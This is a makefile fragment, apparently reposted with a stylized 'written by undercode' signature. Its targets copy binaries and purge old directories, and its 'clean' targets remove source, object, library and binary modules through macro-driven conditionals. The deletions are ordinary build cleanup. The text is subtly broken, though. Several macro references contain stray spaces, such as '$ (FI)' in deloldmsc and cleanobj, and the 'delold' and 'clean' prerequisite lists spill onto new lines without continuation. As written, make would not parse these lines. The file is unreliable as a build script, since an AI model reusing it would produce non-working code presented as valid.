exportbin : $(RUN_BMOD_2) $(RUN_BMOD_3)
@ $(IF)$(FSY)$(RUNBIN)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(RUNBIN)""$(FI)
@ $(IF)$(FSY)$(RUNBIN)*.*$(SM1)$(FSE)$(THEN) $(PU)$(RUNBIN) $(FI)
$(RUN_BMOD_2) : $(BMOD_2)
$(CP) $(BMOD_2) $(RUN_BMOD_2)
$(RUN_BMOD_3) : $(BMOD_3)
$(CP) $(BMOD_3) $(RUN_BMOD_3)

exportmsc :
@ $(IF)$(FSY)$(RUNMSC)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(RUNMSC)""$(FI)
@ $(IF)$(FSY)$(RUNMSC)*.*$(SM1)$(FSE)$(THEN) $(PU)$(RUNMSC) $(FI)
#=============================================================================#
# delete old #
#=============================================================================#
delold :
deloldetc deloldsrc deloldinc deloldobj deloldlib deloldbin deloldmsc
deloldlis
@ $(SAY) ""$(@) done !""
@ $(SAY) """"
deloldetc :
@ $(IF)$(FSY)$(ETC)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(ETC)""$(FI)
@ $(IF)$(FSY)$(ETC)*.*$(SM1)$(FSE)$(THEN) $(PU)$(ETC) $(FI)
deloldsrc :
@ $(IF)$(FSY)$(SRC)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(SRC)""$(FI)
@ $(IF)$(FSY)$(SRC)*.*$(SM1)$(FSE)$(THEN) $(PU)$(SRC) $(FI)
deloldinc :
@ $(IF)$(FSY)$(INC)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(INC)""$(FI)
@ $(IF)$(FSY)$(INC)*.*$(SM1)$(FSE)$(THEN) $(PU)$(INC) $(FI)
deloldobj :
@ $(IF)$(FSY)$(OBJ)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(OBJ)""$(FI)
@ $(IF)$(FSY)$(OBJ)*.*$(SM1)$(FSE)$(THEN) $(PU)$(OBJ) $(FI)
deloldlib :
@ $(IF)$(FSY)$(LIB)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(LIB)""$(FI)
@ $(IF)$(FSY)$(LIB)*.*$(SM1)$(FSE)$(THEN) $(PU)$(LIB) $(FI)
deloldbin :
@ $(IF)$(FSY)$(BIN)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(BIN)""$(FI)
@ $(IF)$(FSY)$(BIN)*.*$(SM1)$(FSE)$(THEN) $(PU)$(BIN) $(FI)
deloldmsc :
@ $(IF)$(FSY)$(MSC)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(MSC)""$ (FI)
@ $(IF)$(FSY)$(MSC)*.*$(SM1)$(FSE)$(THEN) $(PU)$(MSC) $(FI)
deloldlis :
@ $(IF)$(FSY)$(LIS)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(LIS)""$(FI)
@ $(IF)$(FSY)$(LIS)*.*$(SM1)$(FSE)$(THEN) $(PU)$(LIS) $(FI)

#=============================================================================#
# clean #
#=============================================================================#
clean :
cleanetc cleansrc cleaninc cleanobj cleanlib cleanbin cleanmsc
cleanlis
@ $(SAY)""$(@) done !""
@ $(SAY)""""
cleanetc :
@ $(CONTINUE)
cleansrc :
@ $(IF)$(FSY)$(SMOD_1) $(FSE)$(THEN)$(SAY)""$(RM)$(SMOD_1)$(SS)""$(FI)
@ $(IF)$(FSY)$(SMOD_1) $(FSE)$(THEN) $(RM)$(SMOD_1)$(SS) $(FI)
@ $(IF)$(FSY)$(SMOD_2) $(FSE)$(THEN)$(SAY)""$(RM)$(SMOD_2)$(SS)""$(FI)
@ $(IF)$(FSY)$(SMOD_2) $(FSE)$(THEN) $(RM)$(SMOD_2)$(SS) $(FI)
@ $(IF)$(FSY)$(SMOD_3) $(FSE)$(THEN)$(SAY)""$(RM)$(SMOD_3)$(SS)""$(FI)
@ $(IF)$(FSY)$(SMOD_3) $(FSE)$(THEN) $(RM)$(SMOD_3)$(SS) $(FI)
@ $(CONTINUE)
cleaninc :
@ $(CONTINUE)
cleanobj :
@ $(IF)$(FSY)$(OMOD_1) $(FSE)$(THEN)$(SAY)""$(RM)$(OMOD_1)$(SS)""$(FI)
@ $(IF)$(FSY)$(OMOD_1) $(FSE)$(THEN) $(RM)$(OMOD_1)$(SS) $(FI)
@ $(IF)$(FSY)$(OMOD_2) $(FSE)$(THEN)$(SAY)""$(RM)$(OMOD_2)$(SS)""$ (FI)
@ $ (IF) $ (FSY) $ (OMOD_2) $ (FSE) $ (THEN) $ (RM) $ (OMOD_2) $ (SS) $ (FI)
@ $(IF)$(FSY)$(OMOD_3) $(FSE)$(THEN)$(SAY)""$(RM)$(OMOD_3)$(SS)""$(FI)
@ $(IF)$(FSY)$(OMOD_3) $(FSE)$(THEN) $(RM)$(OMOD_3)$(SS) $(FI)
@ $(CONTINUE)
cleanlib :
@ $(IF)$(FSY)$(LMOD_1)$(FSE)$(THEN)$(SAY)""$(RM)$(LMOD_1)$(SS)""$(FI)
@ $(IF)$(FSY)$(LMOD_1)$(FSE)$(THEN) $(RM)$(LMOD_1)$(SS) $(FI)
@ $(CONTINUE)
cleanbin :
@ $(IF)$(FSY)$(BMOD_2)$(FSE)$(THEN)$(SAY)""$(RM)$(BMOD_2)$(SS)""$(FI)
@ $(IF)$(FSY)$(BMOD_2)$(FSE)$(THEN) $(RM)$(BMOD_2)$(SS) $(FI)
@ $(IF)$(FSY)$(BMOD_3)$(FSE)$(THEN)$(SAY)""$(RM)$(BMOD_3)$(SS)""$(FI)
@ $(IF)$(FSY)$(BMOD_3)$(FSE)$(THEN) $(RM)$(BMOD_3)$(SS) $(FI)
@ $(CONTINUE)
cleanmsc :
@ $(CONTINUE)
cleanlis :
@ $(CONTINUE)


written by undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁4